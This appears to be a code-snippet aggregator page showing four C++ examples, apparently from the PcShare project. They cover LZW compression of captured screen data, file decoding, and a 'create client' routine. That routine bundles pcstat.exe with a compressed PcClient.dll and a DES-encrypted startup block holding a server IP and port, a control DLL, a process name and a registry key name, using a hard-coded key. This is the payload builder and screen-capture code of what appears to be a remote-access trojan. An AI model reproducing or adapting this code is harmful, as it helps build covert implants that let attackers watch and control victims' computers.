示例#1
0
void CGetScreenInfo::GetDataSource(BYTE** pBuff, DWORD* pdwLen, BYTE** pBuffLzw, DWORD* pdwLenLzw)
{
	LockData();
	DWORD dwRLzwLen = 0;
	if(pBuff)
		*pBuff = m_ScreenData.pScreenData;
	if(pdwLen)
		*pdwLen = m_ScreenData.dwBufLen;
	if(pBuffLzw)
	{
		if(m_ScreenData.dwBufLen > m_ScreenDataLzw.dwBufLen)
		{
			if(m_ScreenDataLzw.pScreenData != NULL)
				delete m_ScreenDataLzw.pScreenData;
			m_ScreenDataLzw.pScreenData = new BYTE[m_ScreenData.dwBufLen];
			if( !m_ScreenDataLzw.pScreenData )
			{
				m_ScreenDataLzw.dwBufLen = 0;
				return ;
			}
		}
		m_ScreenDataLzw.dwBufLen = m_ScreenData.dwBufLen;
		//压缩
		FCLzw lzw;
		memset(m_ScreenDataLzw.pScreenData, 0, m_ScreenData.dwBufLen);
		dwRLzwLen =  lzw.LZW_Encode(m_ScreenData.pScreenData, m_ScreenData.dwBufLen, m_ScreenDataLzw.pScreenData, m_pHash);
		*pBuffLzw = m_ScreenDataLzw.pScreenData;
	}
	if(pdwLenLzw)
			*pdwLenLzw = dwRLzwLen;
}
示例#2
0
文件: PcStat.cpp 项目: nanoMV/pcshare
BOOL CPcStatApp::DeCodeFile(char* pFileData , 
							char* pFileName , 
							DWORD FileLen)
{
	//打开文件
	FILE *fp = fopen(pFileName,"wb");
	if(fp == NULL) return FALSE;

	//解码
	BYTE* pDest = new BYTE[FileLen + 1024];
	FCLzw lzw ;
	lzw.LZW_Decode ((BYTE*) pFileData, pDest) ;
	
	//写文件
	fwrite(pDest , FileLen , 1 , fp);
	fclose(fp);
	delete [] pDest;
	return TRUE;
}
示例#3
0
void LZW_Decode(BYTE* lzwBuf, BYTE* pOldScreenBuf)
{
	FCLzw lzw;
	lzw.LZW_Decode(lzwBuf, pOldScreenBuf);
}
示例#4
0
void CMyCreateClientDlg::OnButtonCreate() 
{
	char m_IniFileName[256] = {0};
	GetIniFileName(m_IniFileName);
	WritePrivateProfileString("设置","控制DLL文件",
		m_CtrlFile,m_IniFileName);
	if(!m_BakUrl.IsEmpty())
		WritePrivateProfileString("设置","备份URL名称",
			m_BakUrl,m_IniFileName);

	//取目标文件名称
	CString szFilter = "可执行文件(*.exe)|*.exe|";
	CFileDialog m_filedialog(FALSE,NULL,"Ps.exe",
		OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,szFilter,this);
	if(m_filedialog.DoModal() != IDOK) return;
	m_StartFile = m_filedialog.GetFileName();
	CString strFilePath = m_filedialog.GetPathName();

	//取EXE文件和DLL文件名称
	char m_ExeFileName[512] = "PcStat.exe";
	GetMyFilePath(m_ExeFileName);
	char m_DllFileName[512] = "PcClient.dll";
	GetMyFilePath(m_DllFileName);
	BYTE* pExeFileData = NULL;
	BYTE* pDllFileData = NULL;
	DWORD m_ExeSize = 0;
	DWORD m_DllSize = 0;

	//取EXE文件数据
	CFile m_File;
	if(!m_File.Open(m_ExeFileName,CFile::modeRead))
	{
		MessageBox("缺少文件pcstat.exe","错误");
		return;
	}
	m_ExeSize = m_File.GetLength();
	pExeFileData = new BYTE[m_ExeSize];
	m_File.Read(pExeFileData,m_ExeSize);
	m_File.Close();

	//取DLL文件数据
	if(!m_File.Open(m_DllFileName,CFile::modeRead))
	{
		delete [] pExeFileData;
		MessageBox("缺少文件pcclient.dll","错误");
		return;
	}
	m_DllSize = m_File.GetLength();
	pDllFileData = new BYTE[m_DllSize];
	m_File.Read(pDllFileData,m_DllSize);
	m_File.Close();

	//压缩数据
	BYTE* pDest = new BYTE[m_DllSize * 2];
	memset(pDest , 0 , m_DllSize * 2);

	BYTE* pSrc = pDllFileData;
	BYTE* pCurr = pDest;

    //生成的文件的结构:
    //pcstat.exe文件内容 pcclient.dll内容 SSH 压缩前dll大小 生成的用户名 压缩后的的PcClient.dll内容 加密后的启动内容

	//写头
	::lstrcpyA ((char*)pDest, "SSH") ;
	pCurr += 8 ;
	* (WORD *) pCurr = 16 ;
	pCurr += 2 ;
	* (WORD *) pCurr = 0 ;
	pCurr += 2 ;
	* (DWORD *) pCurr = m_DllSize ;
	pCurr += 4 ;
	pCurr += 8 ;

	// 文件名
	* (WORD *) pCurr = ::lstrlen (m_StartFile) ;
	::lstrcpy ((char *) pCurr+2, m_StartFile) ;
	pCurr += * (WORD *) pCurr + 2 ;

	//压缩
	DWORD dwCounter = ::GetTickCount () ;
	FCLzw fLzw ;
	pCurr += fLzw.LZW_Encode (pSrc, m_DllSize, pCurr) ;
	dwCounter = ::GetTickCount () - dwCounter ;
	* (DWORD *) &pDest[16] = dwCounter ;

	//启动信息
	INITDLLINFO m_InitInfo = {0};

	m_IpList.GetWindowText(m_InitInfo.m_ServerAddr,50);
	strcpy(m_InitInfo.m_CtrlFile,m_CtrlFile);
	m_InitInfo.m_ProcessName[0] = m_Proc;

	strcpy(m_InitInfo.m_StartFile,m_StartFile);
	m_InitInfo.m_StartFile[m_StartFile.GetLength() - 4] = 0;
	strcpy(m_InitInfo.m_KeyName,m_InitInfo.m_StartFile);
	m_InitInfo.m_KeyName[m_StartFile.GetLength() - 1] = 0;
	strcat(m_InitInfo.m_StartFile, ".dll");
	m_InitInfo.m_ServerPort = (WORD) (atoi((LPCTSTR) m_Port));
	m_InitInfo.m_DllFileLen = pCurr - pDest;

	//DES加密信息
	INITDLLINFO m_InitFileInfo = {0};
	char m_DesKey[9] = "\x10\x20\x17\x10\x09\x55\x11\xeb";
	Des_Go((char*) &m_InitFileInfo, (char*) &m_InitInfo, 
		sizeof(INITDLLINFO), m_DesKey, 8, ENCRYPT_);//加密 

	//创建目标文件
	//m_StartFile.Insert(0, _T("e:\\"));
	if(!m_File.Open(strFilePath, CFile::modeCreate|CFile::modeWrite))
	{
		delete [] pExeFileData;
		delete [] pDllFileData;
		delete [] pDest;
		MessageBox("无法创建文件",m_StartFile.GetString());
		return;
	}
	m_File.Write(pExeFileData,m_ExeSize);
	m_File.Write(pDest,m_InitInfo.m_DllFileLen);
	m_File.Write(&m_InitFileInfo,sizeof(INITDLLINFO));
	m_File.Close();

	delete [] pExeFileData;
	delete [] pDllFileData;
	delete [] pDest;

	MessageBox("生成客户端成功", "提示");
}